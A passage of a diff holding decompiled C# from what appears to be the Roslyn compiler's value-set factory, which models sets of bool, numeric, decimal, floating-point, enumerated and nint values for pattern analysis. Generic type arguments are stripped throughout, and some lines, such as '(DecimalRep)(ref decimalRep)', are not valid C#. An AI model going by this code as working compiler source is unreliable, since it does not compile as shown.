{ + if (!_hasFalse) + { + throw new ArgumentException(); + } + num = 0; + } + else + { + num = 1; + } + return ConstantValue.Create((byte)num != 0); + } + } + + private BoolValueSet(bool hasFalse, bool hasTrue) + { + bool hasFalse2 = hasFalse; + bool hasTrue2 = hasTrue; + _hasFalse = hasFalse2; + _hasTrue = hasTrue2; + } + + public static BoolValueSet Create(bool hasFalse, bool hasTrue) + { + if (!hasFalse) + { + if (!hasTrue) + { + return None; + } + return OnlyTrue; + } + if (!hasTrue) + { + return OnlyFalse; + } + return AllValues; + } + + public bool Any(BinaryOperatorKind relation, bool value) + { + if (relation == BinaryOperatorKind.Equal) + { + if (value) + { + return _hasTrue; + } + return _hasFalse; + } + return true; + } + + bool IValueSet.Any(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return Any(relation, value.BooleanValue); + } + return true; + } + + public bool All(BinaryOperatorKind relation, bool value) + { + if (relation == BinaryOperatorKind.Equal) + { + if (value) + { + return !_hasFalse; + } + return !_hasTrue; + } + return true; + } + + bool IValueSet.All(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return All(relation, value.BooleanValue); + } + return false; + } + + public IValueSet Complement() + { + return Create(!_hasFalse, !_hasTrue); + } + + IValueSet IValueSet.Complement() + { + return Complement(); + } + + public IValueSet Intersect(IValueSet other) + { + if (this == other) + { + return this; + } + BoolValueSet boolValueSet = (BoolValueSet)other; + return Create(_hasFalse & boolValueSet._hasFalse, _hasTrue & boolValueSet._hasTrue); + } + + public IValueSet Intersect(IValueSet other) + { + return Intersect((IValueSet)other); + } + + public IValueSet Union(IValueSet other) + { + if (this == other) + { + return this; + } + BoolValueSet boolValueSet = (BoolValueSet)other; + return Create(_hasFalse | boolValueSet._hasFalse, _hasTrue | boolValueSet._hasTrue); + } + + IValueSet IValueSet.Union(IValueSet other) + { + return Union((IValueSet)other); + } + + public override bool Equals(object? obj) + { + return this == obj; + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(this); + } + + public override string ToString() + { + bool hasFalse = _hasFalse; + bool hasTrue = _hasTrue; + if (!hasFalse) + { + if (!hasTrue) + { + return "{}"; + } + return "{true}"; + } + if (!hasTrue) + { + return "{false}"; + } + return "{false,true}"; + } + } + + private sealed class BoolValueSetFactory : IValueSetFactory, IValueSetFactory + { + public static readonly BoolValueSetFactory Instance = new BoolValueSetFactory(); + + IValueSet IValueSetFactory.AllValues => BoolValueSet.AllValues; + + IValueSet IValueSetFactory.NoValues => BoolValueSet.None; + + private BoolValueSetFactory() + { + } + + public IValueSet Related(BinaryOperatorKind relation, bool value) + { + if (relation == BinaryOperatorKind.Equal) + { + if (value) + { + return BoolValueSet.OnlyTrue; + } + return BoolValueSet.OnlyFalse; + } + return BoolValueSet.AllValues; + } + + IValueSet IValueSetFactory.Random(int expectedSize, Random random) + { + return random.Next(4) switch + { + 0 => BoolValueSet.None, + 1 => BoolValueSet.OnlyFalse, + 2 => BoolValueSet.OnlyTrue, + 3 => BoolValueSet.AllValues, + _ => throw ExceptionUtilities.UnexpectedValue((object)"random"), + }; + } + + ConstantValue IValueSetFactory.RandomValue(Random random) + { + return ConstantValue.Create(random.NextDouble() < 0.5); + } + + IValueSet IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return Related(relation, value.BooleanValue); + } + return BoolValueSet.AllValues; + } + + bool IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue left, ConstantValue right) + { + if (!left.IsBad && !right.IsBad) + { + return left.BooleanValue == right.BooleanValue; + } + return true; + } + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct ByteTC : INumericTC + { + byte INumericTC.MinValue => 0; + + byte INumericTC.MaxValue => byte.MaxValue; + + byte INumericTC.Zero => 0; + + bool INumericTC.Related(BinaryOperatorKind relation, byte left, byte right) + { + return relation switch + { + BinaryOperatorKind.Equal => left == right, + BinaryOperatorKind.GreaterThanOrEqual => left >= right, + BinaryOperatorKind.GreaterThan => left > right, + BinaryOperatorKind.LessThanOrEqual => left <= right, + BinaryOperatorKind.LessThan => left < right, + _ => throw new ArgumentException("relation"), + }; + } + + byte INumericTC.Next(byte value) + { + return (byte)(value + 1); + } + + byte INumericTC.Prev(byte value) + { + return (byte)(value - 1); + } + + byte INumericTC.FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.ByteValue; + } + return 0; + } + + ConstantValue INumericTC.ToConstantValue(byte value) + { + return ConstantValue.Create(value); + } + + string INumericTC.ToString(byte value) + { + return value.ToString(); + } + + byte INumericTC.Random(Random random) + { + return (byte)random.Next(0, 256); + } + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct CharTC : INumericTC + { + char INumericTC.MinValue => '\0'; + + char INumericTC.MaxValue => '\uffff'; + + char INumericTC.Zero => '\0'; + + bool INumericTC.Related(BinaryOperatorKind relation, char left, char right) + { + return relation switch + { + BinaryOperatorKind.Equal => left == right, + BinaryOperatorKind.GreaterThanOrEqual => left >= right, + BinaryOperatorKind.GreaterThan => left > right, + BinaryOperatorKind.LessThanOrEqual => left <= right, + BinaryOperatorKind.LessThan => left < right, + _ => throw new ArgumentException("relation"), + }; + } + + char INumericTC.Next(char value) + { + return (char)(value + 1); + } + + char INumericTC.FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.CharValue; + } + return '\0'; + } + + string INumericTC.ToString(char c) + { + return ObjectDisplay.FormatPrimitive(c, (ObjectDisplayOptions)24); + } + + char INumericTC.Prev(char value) + { + return (char)(value - 1); + } + + char INumericTC.Random(Random random) + { + return (char)random.Next(0, 65536); + } + + ConstantValue INumericTC.ToConstantValue(char value) + { + return ConstantValue.Create(value); + } + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct DecimalTC : INumericTC + { + private readonly struct DecimalRep + { + public readonly uint low; + + public readonly uint mid; + + public readonly uint high; + + public readonly bool isNegative; + + public readonly byte scale; + + public decimal Value => new decimal((int)low, (int)mid, (int)high, isNegative, scale); + + public DecimalRep(uint low, uint mid, uint high, bool isNegative, byte scale) + { + if (scale > 28) + { + throw new ArgumentException("scale"); + } + this.low = low; + this.mid = mid; + this.high = high; + this.isNegative = isNegative; + this.scale = scale; + } + + public DecimalRep Normalize() + { + if (scale == 28) + { + return this; + } + DecimalRep decimalRep = this; + var (num4, num5, num6, flag2, b2) = (DecimalRep)(ref decimalRep); + while (b2 < 28 && (long)num6 * 10L <= uint.MaxValue) + { + long num7 = 10L * (long)num6; + long num8 = 10L * (long)num5; + long num9 = 10L * (long)num4; + num8 += num9 >> 32; + num9 &= 0xFFFFFFFFu; + num7 += num8 >> 32; + num8 &= 0xFFFFFFFFu; + if (num7 > uint.MaxValue) + { + break; + } + num4 = (uint)num9; + num5 = (uint)num8; + num6 = (uint)num7; + b2++; + } + return new DecimalRep(num4, num5, num6, flag2, b2); + } + + public static DecimalRep FromValue(decimal value) + { + bool flag = default(bool); + byte b = default(byte); + uint num = default(uint); + uint num2 = default(uint); + uint num3 = default(uint); + DecimalUtilities.GetBits(value, ref flag, ref b, ref num, ref num2, ref num3); + return new DecimalRep(num, num2, num3, flag, b); + } + + public void Deconstruct(out uint low, out uint mid, out uint high, out bool isNegative, out byte scale) + { + uint num = this.low; + uint num2 = this.mid; + uint num3 = this.high; + bool flag = this.isNegative; + byte b = this.scale; + low = num; + mid = num2; + high = num3; + isNegative = flag; + scale = b; + } + + public override string ToString() + { + return string.Format("Decimal({0}, 0x{1:08X} 0x{2:08X} 0x{3:08X} *10^-{4})", new object[5] + { + isNegative ? "-" : "+", + high, + mid, + low, + scale + }); + } + } + + private const uint transitionLow = 2576980377u; + + private const uint transitionMid = 2576980377u; + + private const uint transitionHigh = 429496729u; + + private const byte maxScale = 28; + + private static readonly decimal normalZero = 0.0000000000000000000000000000m; + + private static readonly decimal epsilon = 0.0000000000000000000000000001m; + + decimal INumericTC.MinValue => decimal.MinValue; + + decimal INumericTC.MaxValue => decimal.MaxValue; + + decimal INumericTC.Zero => 0m; + + public decimal FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.DecimalValue; + } + return 0m; + } + + public ConstantValue ToConstantValue(decimal value) + { + return ConstantValue.Create(value); + } + + public decimal Next(decimal value) + { + if (value == 0m) + { + return epsilon; + } + bool flag2; + uint num4; + uint num5; + uint num6; + byte b2; + (num4, num5, num6, flag2, b2) = (DecimalRep)(ref DecimalRep.FromValue(value)); + if (flag2) + { + if (value == -epsilon) + { + return normalZero; + } + if (num4 != 0) + { + return new DecimalRep(num4 - 1, num5, num6, flag2, b2).Value; + } + if (num5 != 0) + { + return new DecimalRep(uint.MaxValue, num5 - 1, num6, flag2, b2).Value; + } + return new DecimalRep(uint.MaxValue, uint.MaxValue, num6 - 1, flag2, b2).Value; + } + if (num4 != uint.MaxValue) + { + return new DecimalRep(num4 + 1, num5, num6, flag2, b2).Value; + } + if (num5 != uint.MaxValue) + { + return new DecimalRep(0u, num5 + 1, num6, flag2, b2).Value; + } + if (num6 != uint.MaxValue) + { + return new DecimalRep(0u, 0u, num6 + 1, flag2, b2).Value; + } + num4 = 2576980377u; + num5 = 2576980377u; + num6 = 429496729u; + b2--; + return new DecimalRep(num4 + 1, num5, num6, flag2, b2).Value; + } + + bool INumericTC.Related(BinaryOperatorKind relation, decimal left, decimal right) + { + return relation switch + { + BinaryOperatorKind.Equal => left == right, + BinaryOperatorKind.GreaterThanOrEqual => left >= right, + BinaryOperatorKind.GreaterThan => left > right, + BinaryOperatorKind.LessThanOrEqual => left <= right, + BinaryOperatorKind.LessThan => left < right, + _ => throw new ArgumentException("relation"), + }; + } + + string INumericTC.ToString(decimal value) + { + return FormattableString.Invariant($"{value:G}"); + } + + decimal INumericTC.Prev(decimal value) + { + return -Next(-value); + } + + public decimal Random(Random random) + { + INumericTC numericTC = default(UIntTC); + return new DecimalRep(numericTC.Random(random), numericTC.Random(random), numericTC.Random(random), random.NextDouble() < 0.5, (byte)random.Next(0, 29)).Normalize().Value; + } + + public static decimal Normalize(decimal value) + { + return DecimalRep.FromValue(value).Normalize().Value; + } + } + + private sealed class DecimalValueSetFactory : IValueSetFactory, IValueSetFactory + { + public static readonly DecimalValueSetFactory Instance = new DecimalValueSetFactory(); + + private readonly IValueSetFactory _underlying = NumericValueSetFactory.Instance; + + IValueSet IValueSetFactory.AllValues => NumericValueSet.AllValues; + + IValueSet IValueSetFactory.NoValues => NumericValueSet.NoValues; + + public IValueSet Related(BinaryOperatorKind relation, decimal value) + { + return _underlying.Related(relation, DecimalTC.Normalize(value)); + } + + IValueSet IValueSetFactory.Random(int expectedSize, Random random) + { + return _underlying.Random(expectedSize, random); + } + + ConstantValue IValueSetFactory.RandomValue(Random random) + { + return ConstantValue.Create(default(DecimalTC).Random(random)); + } + + IValueSet IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return Related(relation, default(DecimalTC).FromConstantValue(value)); + } + return NumericValueSet.AllValues; + } + + bool IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue left, ConstantValue right) + { + return _underlying.Related(relation, left, right); + } + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct DoubleTC : FloatingTC, INumericTC + { + double INumericTC.MinValue => double.NegativeInfinity; + + double INumericTC.MaxValue => double.PositiveInfinity; + + double FloatingTC.NaN => double.NaN; + + double INumericTC.Zero => 0.0; + + public double Next(double value) + { + if (value == 0.0) + { + return double.Epsilon; + } + if (value < 0.0) + { + if (value == -5E-324) + { + return 0.0; + } + if (value == double.NegativeInfinity) + { + return double.MinValue; + } + return 0.0 - ULongAsDouble(DoubleAsULong(0.0 - value) - 1); + } + if (value == double.MaxValue) + { + return double.PositiveInfinity; + } + return ULongAsDouble(DoubleAsULong(value) + 1); + } + + private static ulong DoubleAsULong(double d) + { + if (d == 0.0) + { + return 0uL; + } + return (ulong)BitConverter.DoubleToInt64Bits(d); + } + + private static double ULongAsDouble(ulong l) + { + return BitConverter.Int64BitsToDouble((long)l); + } + + bool INumericTC.Related(BinaryOperatorKind relation, double left, double right) + { + switch (relation) + { + case BinaryOperatorKind.Equal: + if (left != right) + { + if (double.IsNaN(left)) + { + return double.IsNaN(right); + } + return false; + } + return true; + case BinaryOperatorKind.GreaterThanOrEqual: + return left >= right; + case BinaryOperatorKind.GreaterThan: + return left > right; + case BinaryOperatorKind.LessThanOrEqual: + return left <= right; + case BinaryOperatorKind.LessThan: + return left < right; + default: + throw new ArgumentException("relation"); + } + } + + double INumericTC.FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.DoubleValue; + } + return 0.0; + } + + ConstantValue INumericTC.ToConstantValue(double value) + { + return ConstantValue.Create(value); + } + + string INumericTC.ToString(double value) + { + if (!double.IsNaN(value)) + { + if (value != double.NegativeInfinity) + { + if (value != double.PositiveInfinity) + { + return FormattableString.Invariant($"{value:G17}"); + } + return "Inf"; + } + return "-Inf"; + } + return "NaN"; + } + + double INumericTC.Prev(double value) + { + return 0.0 - Next(0.0 - value); + } + + double INumericTC.Random(Random random) + { + return random.NextDouble() * 100.0 - 50.0; + } + } + + private sealed class EnumeratedValueSet : IValueSet, IValueSet where T : notnull where TTC : struct, IEquatableValueTC + { + private readonly bool _included; + + private readonly ImmutableHashSet _membersIncludedOrExcluded; + + public static readonly EnumeratedValueSet AllValues = new EnumeratedValueSet(included: false, ImmutableHashSet.Empty); + + public static readonly EnumeratedValueSet NoValues = new EnumeratedValueSet(included: true, ImmutableHashSet.Empty); + + public bool IsEmpty + { + get + { + if (_included) + { + return _membersIncludedOrExcluded.IsEmpty; + } + return false; + } + } + + ConstantValue IValueSet.Sample + { + get + { + if (IsEmpty) + { + throw new ArgumentException(); + } + TTC val = default(TTC); + if (_included) + { + return val.ToConstantValue(_membersIncludedOrExcluded.OrderBy((T k) => k).First()); + } + if (typeof(T) == typeof(string)) + { + if (Any(BinaryOperatorKind.Equal, (T)(object)"")) + { + return val.ToConstantValue((T)(object)""); + } + for (char c = 'A'; c <= 'z'; c = (char)(c + 1)) + { + if (Any(BinaryOperatorKind.Equal, (T)(object)c.ToString())) + { + return val.ToConstantValue((T)(object)c.ToString()); + } + } + } + T[] array = val.RandomValues(_membersIncludedOrExcluded.Count + 1, new Random(0), _membersIncludedOrExcluded.Count + 1); + foreach (T value in array) + { + if (Any(BinaryOperatorKind.Equal, value)) + { + return val.ToConstantValue(value); + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Utilities/ValueSetFactory.EnumeratedValueSet.cs", 69); + } + } + + private EnumeratedValueSet(bool included, ImmutableHashSet membersIncludedOrExcluded) + { + bool included2 = included; + _included = included2; + _membersIncludedOrExcluded = membersIncludedOrExcluded; + } + + internal static EnumeratedValueSet Including(T value) + { + return new EnumeratedValueSet(included: true, ImmutableHashSet.Empty.Add(value)); + } + + public bool Any(BinaryOperatorKind relation, T value) + { + if (relation == BinaryOperatorKind.Equal) + { + return _included == _membersIncludedOrExcluded.Contains(value); + } + return true; + } + + bool IValueSet.Any(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return Any(relation, default(TTC).FromConstantValue(value)); + } + return true; + } + + public bool All(BinaryOperatorKind relation, T value) + { + if (relation == BinaryOperatorKind.Equal) + { + if (!_included) + { + return false; + } + return _membersIncludedOrExcluded.Count switch + { + 0 => true, + 1 => _membersIncludedOrExcluded.Contains(value), + _ => false, + }; + } + return false; + } + + bool IValueSet.All(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return All(relation, default(TTC).FromConstantValue(value)); + } + return false; + } + + public IValueSet Complement() + { + return new EnumeratedValueSet(!_included, _membersIncludedOrExcluded); + } + + IValueSet IValueSet.Complement() + { + return Complement(); + } + + public IValueSet Intersect(IValueSet o) + { + if (this == o) + { + return this; + } + EnumeratedValueSet enumeratedValueSet = (EnumeratedValueSet)o; + EnumeratedValueSet enumeratedValueSet2; + EnumeratedValueSet enumeratedValueSet3; + if (_membersIncludedOrExcluded.Count <= enumeratedValueSet._membersIncludedOrExcluded.Count) + { + enumeratedValueSet2 = this; + enumeratedValueSet3 = enumeratedValueSet; + } + else + { + EnumeratedValueSet enumeratedValueSet4 = enumeratedValueSet; + enumeratedValueSet2 = enumeratedValueSet4; + enumeratedValueSet3 = this; + } + bool included = enumeratedValueSet3._included; + bool included2 = enumeratedValueSet2._included; + if (included) + { + if (included2) + { + return new EnumeratedValueSet(included: true, enumeratedValueSet3._membersIncludedOrExcluded.Intersect(enumeratedValueSet2._membersIncludedOrExcluded)); + } + return new EnumeratedValueSet(included: true, enumeratedValueSet3._membersIncludedOrExcluded.Except(enumeratedValueSet2._membersIncludedOrExcluded)); + } + if (!included2) + { + return new EnumeratedValueSet(included: false, enumeratedValueSet3._membersIncludedOrExcluded.Union(enumeratedValueSet2._membersIncludedOrExcluded)); + } + return new EnumeratedValueSet(included: true, enumeratedValueSet2._membersIncludedOrExcluded.Except(enumeratedValueSet3._membersIncludedOrExcluded)); + } + + IValueSet IValueSet.Intersect(IValueSet other) + { + return Intersect((IValueSet)other); + } + + public IValueSet Union(IValueSet o) + { + if (this == o) + { + return this; + } + EnumeratedValueSet enumeratedValueSet = (EnumeratedValueSet)o; + EnumeratedValueSet enumeratedValueSet2; + EnumeratedValueSet enumeratedValueSet3; + if (_membersIncludedOrExcluded.Count <= enumeratedValueSet._membersIncludedOrExcluded.Count) + { + enumeratedValueSet2 = this; + enumeratedValueSet3 = enumeratedValueSet; + } + else + { + EnumeratedValueSet enumeratedValueSet4 = enumeratedValueSet; + enumeratedValueSet2 = enumeratedValueSet4; + enumeratedValueSet3 = this; + } + bool included = enumeratedValueSet3._included; + bool included2 = enumeratedValueSet2._included; + if (!included) + { + if (!included2) + { + return new EnumeratedValueSet(included: false, enumeratedValueSet3._membersIncludedOrExcluded.Intersect(enumeratedValueSet2._membersIncludedOrExcluded)); + } + return new EnumeratedValueSet(included: false, enumeratedValueSet3._membersIncludedOrExcluded.Except(enumeratedValueSet2._membersIncludedOrExcluded)); + } + if (included2) + { + return new EnumeratedValueSet(included: true, enumeratedValueSet3._membersIncludedOrExcluded.Union(enumeratedValueSet2._membersIncludedOrExcluded)); + } + return new EnumeratedValueSet(included: false, enumeratedValueSet2._membersIncludedOrExcluded.Except(enumeratedValueSet3._membersIncludedOrExcluded)); + } + + IValueSet IValueSet.Union(IValueSet other) + { + return Union((IValueSet)other); + } + + public override bool Equals(object? obj) + { + if (!(obj is EnumeratedValueSet enumeratedValueSet)) + { + return false; + } + if (_included == enumeratedValueSet._included) + { + return ImmutableHashSetExtensions.SetEqualsWithoutIntermediateHashSet(_membersIncludedOrExcluded, enumeratedValueSet._membersIncludedOrExcluded); + } + return false; + } + + public override int GetHashCode() + { + bool included = _included; + return Hash.Combine(included.GetHashCode(), _membersIncludedOrExcluded.GetHashCode()); + } + + public override string ToString() + { + return (_included ? "" : "~") + "{" + string.Join(",", _membersIncludedOrExcluded.Select((T o) => o.ToString())) + "}"; + } + } + + private sealed class EnumeratedValueSetFactory : IValueSetFactory, IValueSetFactory where T : notnull where TTC : struct, IEquatableValueTC + { + public static readonly EnumeratedValueSetFactory Instance = new EnumeratedValueSetFactory(); + + IValueSet IValueSetFactory.AllValues => EnumeratedValueSet.AllValues; + + IValueSet IValueSetFactory.NoValues => EnumeratedValueSet.NoValues; + + private EnumeratedValueSetFactory() + { + } + + public IValueSet Related(BinaryOperatorKind relation, T value) + { + if (relation == BinaryOperatorKind.Equal) + { + return EnumeratedValueSet.Including(value); + } + return EnumeratedValueSet.AllValues; + } + + IValueSet IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad && !value.IsNull) + { + return Related(relation, default(TTC).FromConstantValue(value)); + } + return EnumeratedValueSet.AllValues; + } + + bool IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue left, ConstantValue right) + { + TTC val = default(TTC); + return val.FromConstantValue(left).Equals(val.FromConstantValue(right)); + } + + public IValueSet Random(int expectedSize, Random random) + { + T[] array = default(TTC).RandomValues(expectedSize, random, expectedSize * 2); + IValueSet valueSet = EnumeratedValueSet.NoValues; + T[] array2 = array; + foreach (T value in array2) + { + valueSet = valueSet.Union(Related(BinaryOperatorKind.Equal, value)); + } + return valueSet; + } + + ConstantValue IValueSetFactory.RandomValue(Random random) + { + TTC val = default(TTC); + return val.ToConstantValue(val.RandomValues(1, random, 100)[0]); + } + } + + private interface FloatingTC : INumericTC + { + T NaN { get; } + } + + private sealed class FloatingValueSet : IValueSet, IValueSet where TFloatingTC : struct, FloatingTC + { + private readonly IValueSet _numbers; + + private readonly bool _hasNaN; + + internal static readonly IValueSet AllValues = new FloatingValueSet(NumericValueSet.AllValues, hasNaN: true); + + internal static readonly IValueSet NoValues = new FloatingValueSet(NumericValueSet.NoValues, hasNaN: false); + + public bool IsEmpty + { + get + { + if (!_hasNaN) + { + return _numbers.IsEmpty; + } + return false; + } + } + + ConstantValue IValueSet.Sample + { + get + { + if (IsEmpty) + { + throw new ArgumentException(); + } + if (!_numbers.IsEmpty) + { + return _numbers.Sample; + } + TFloatingTC val = default(TFloatingTC); + return val.ToConstantValue(val.NaN); + } + } + + private FloatingValueSet(IValueSet numbers, bool hasNaN) + { + bool hasNaN2 = hasNaN; + _numbers = numbers; + _hasNaN = hasNaN2; + } + + internal static IValueSet Random(int expectedSize, Random random) + { + bool flag = random.NextDouble() < 0.5; + if (flag) + { + expectedSize--; + } + if (expectedSize < 1) + { + expectedSize = 2; + } + return new FloatingValueSet((IValueSet)NumericValueSetFactory.Instance.Random(expectedSize, random), flag); + } + + public static IValueSet Related(BinaryOperatorKind relation, TFloating value) + { + TFloatingTC val = default(TFloatingTC); + if (val.Related(BinaryOperatorKind.Equal, val.NaN, value)) + { + switch (relation) + { + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + return new FloatingValueSet(NumericValueSet.NoValues, hasNaN: true); + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + return NoValues; + default: + throw ExceptionUtilities.UnexpectedValue((object)relation); + } + } + return new FloatingValueSet(NumericValueSetFactory.Instance.Related(relation, value), hasNaN: false); + } + + public IValueSet Intersect(IValueSet o) + { + if (this == o) + { + return this; + } + FloatingValueSet floatingValueSet = (FloatingValueSet)o; + return new FloatingValueSet(_numbers.Intersect(floatingValueSet._numbers), _hasNaN & floatingValueSet._hasNaN); + } + + IValueSet IValueSet.Intersect(IValueSet other) + { + return Intersect((IValueSet)other); + } + + public IValueSet Union(IValueSet o) + { + if (this == o) + { + return this; + } + FloatingValueSet floatingValueSet = (FloatingValueSet)o; + return new FloatingValueSet(_numbers.Union(floatingValueSet._numbers), _hasNaN | floatingValueSet._hasNaN); + } + + IValueSet IValueSet.Union(IValueSet other) + { + return Union((IValueSet)other); + } + + public IValueSet Complement() + { + return new FloatingValueSet(_numbers.Complement(), !_hasNaN); + } + + IValueSet IValueSet.Complement() + { + return Complement(); + } + + bool IValueSet.Any(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return Any(relation, default(TFloatingTC).FromConstantValue(value)); + } + return true; + } + + public bool Any(BinaryOperatorKind relation, TFloating value) + { + TFloatingTC val = default(TFloatingTC); + if (!_hasNaN || !val.Related(relation, val.NaN, value)) + { + return _numbers.Any(relation, value); + } + return true; + } + + bool IValueSet.All(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return All(relation, default(TFloatingTC).FromConstantValue(value)); + } + return false; + } + + public bool All(BinaryOperatorKind relation, TFloating value) + { + TFloatingTC val = default(TFloatingTC); + if (!_hasNaN || val.Related(relation, val.NaN, value)) + { + return _numbers.All(relation, value); + } + return false; + } + + public override int GetHashCode() + { + return _numbers.GetHashCode(); + } + + public override bool Equals(object? obj) + { + if (this != obj) + { + if (obj is FloatingValueSet floatingValueSet && _hasNaN == floatingValueSet._hasNaN) + { + return _numbers.Equals(floatingValueSet._numbers); + } + return false; + } + return true; + } + + public override string ToString() + { + StringBuilder stringBuilder = new StringBuilder(); + if (_hasNaN) + { + stringBuilder.Append("NaN"); + } + string text = _numbers.ToString(); + if (stringBuilder.Length > 1 && text.Length > 1) + { + stringBuilder.Append(","); + } + stringBuilder.Append(text); + return stringBuilder.ToString(); + } + } + + private sealed class FloatingValueSetFactory : IValueSetFactory, IValueSetFactory where TFloatingTC : struct, FloatingTC + { + public static readonly FloatingValueSetFactory Instance = new FloatingValueSetFactory(); + + IValueSet IValueSetFactory.AllValues => FloatingValueSet.AllValues; + + IValueSet IValueSetFactory.NoValues => FloatingValueSet.NoValues; + + private FloatingValueSetFactory() + { + } + + public IValueSet Related(BinaryOperatorKind relation, TFloating value) + { + return FloatingValueSet.Related(relation, value); + } + + IValueSet IValueSetFactory.Random(int expectedSize, Random random) + { + return FloatingValueSet.Random(expectedSize, random); + } + + ConstantValue IValueSetFactory.RandomValue(Random random) + { + TFloatingTC val = default(TFloatingTC); + return val.ToConstantValue(val.Random(random)); + } + + IValueSet IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return FloatingValueSet.Related(relation, default(TFloatingTC).FromConstantValue(value)); + } + return FloatingValueSet.AllValues; + } + + bool IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue left, ConstantValue right) + { + TFloatingTC val = default(TFloatingTC); + return val.Related(relation, val.FromConstantValue(left), val.FromConstantValue(right)); + } + } + + private interface IEquatableValueTC where T : notnull + { + T FromConstantValue(ConstantValue constantValue); + + ConstantValue ToConstantValue(T value); + + T[] RandomValues(int count, Random random, int scope = 0); + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct IntTC : INumericTC + { + int INumericTC.MinValue => int.MinValue; + + int INumericTC.MaxValue => int.MaxValue; + + int INumericTC.Zero => 0; + + public bool Related(BinaryOperatorKind relation, int left, int right) + { + return relation switch + { + BinaryOperatorKind.Equal => left == right, + BinaryOperatorKind.GreaterThanOrEqual => left >= right, + BinaryOperatorKind.GreaterThan => left > right, + BinaryOperatorKind.LessThanOrEqual => left <= right, + BinaryOperatorKind.LessThan => left < right, + _ => throw new ArgumentException("relation"), + }; + } + + int INumericTC.Next(int value) + { + return value + 1; + } + + int INumericTC.Prev(int value) + { + return value - 1; + } + + public int FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.Int32Value; + } + return 0; + } + + public ConstantValue ToConstantValue(int value) + { + return ConstantValue.Create(value); + } + + string INumericTC.ToString(int value) + { + return value.ToString(); + } + + public int Random(Random random) + { + return (random.Next() << 10) ^ random.Next(); + } + } + + private interface INumericTC + { + T MinValue { get; } + + T MaxValue { get; } + + T Zero { get; } + + T FromConstantValue(ConstantValue constantValue); + + ConstantValue ToConstantValue(T value); + + bool Related(BinaryOperatorKind relation, T left, T right); + + T Next(T value); + + T Prev(T value); + + T Random(Random random); + + string ToString(T value); + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct LongTC : INumericTC + { + long INumericTC.MinValue => long.MinValue; + + long INumericTC.MaxValue => long.MaxValue; + + long INumericTC.Zero => 0L; + + bool INumericTC.Related(BinaryOperatorKind relation, long left, long right) + { + return relation switch + { + BinaryOperatorKind.Equal => left == right, + BinaryOperatorKind.GreaterThanOrEqual => left >= right, + BinaryOperatorKind.GreaterThan => left > right, + BinaryOperatorKind.LessThanOrEqual => left <= right, + BinaryOperatorKind.LessThan => left < right, + _ => throw new ArgumentException("relation"), + }; + } + + long INumericTC.Next(long value) + { + return value + 1; + } + + long INumericTC.Prev(long value) + { + return value - 1; + } + + long INumericTC.FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.Int64Value; + } + return 0L; + } + + ConstantValue INumericTC.ToConstantValue(long value) + { + return ConstantValue.Create(value); + } + + string INumericTC.ToString(long value) + { + return value.ToString(); + } + + long INumericTC.Random(Random random) + { + return ((long)random.Next() << 35) ^ ((long)random.Next() << 10) ^ random.Next(); + } + } + + private sealed class NintValueSet : IValueSet, IValueSet + { + public static readonly NintValueSet AllValues = new NintValueSet(hasSmall: true, NumericValueSet.AllValues, hasLarge: true); + + public static readonly NintValueSet NoValues = new NintValueSet(hasSmall: false, NumericValueSet.NoValues, hasLarge: false); + + private readonly IValueSet _values; + + private readonly bool _hasSmall; + + private readonly bool _hasLarge; + + public bool IsEmpty + { + get + { + if (!_hasSmall && !_hasLarge) + { + return _values.IsEmpty; + } + return false; + } + } + + ConstantValue? IValueSet.Sample + { + get + { + if (IsEmpty) + { + throw new ArgumentException(); + } + if (!_values.IsEmpty) + { + return _values.Sample; + } + return null; + } + } + + internal NintValueSet(bool hasSmall, IValueSet values, bool hasLarge) + { + _hasSmall = hasSmall; + _values = values; + _hasLarge = hasLarge; + } + + public bool All(BinaryOperatorKind relation, int value) + { + bool flag = _hasLarge; + if (flag) + { + flag = relation switch + { + BinaryOperatorKind.LessThan => true, + BinaryOperatorKind.LessThanOrEqual => true, + _ => false, + }; + } + if (flag) + { + return false; + } + flag = _hasSmall; + if (flag) + { + flag = relation switch + { + BinaryOperatorKind.GreaterThan => true, + BinaryOperatorKind.GreaterThanOrEqual => true, + _ => false, + }; + } + if (flag) + { + return false; + } + return _values.All(relation, value); + } + + bool IValueSet.All(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return All(relation, value.Int32Value); + } + return true; + } + + public bool Any(BinaryOperatorKind relation, int value) + { + bool flag = _hasSmall; + if (flag) + { + flag = relation switch + { + BinaryOperatorKind.LessThan => true, + 